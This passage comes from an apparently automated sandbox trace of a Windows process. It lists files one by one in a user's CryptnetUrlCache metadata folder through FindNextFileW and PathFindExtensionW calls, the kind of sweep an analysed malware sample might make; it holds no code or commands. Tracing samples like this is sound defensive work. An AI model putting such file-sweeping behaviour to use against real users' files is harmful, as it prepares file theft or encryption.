cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0115.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0115.015] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0115.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0115.015] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0115.016] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0115.016] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0115.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0115.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0115.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0115.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0115.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0115.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0115.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned="" [0115.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0115.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0115.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0115.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0115.018] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, 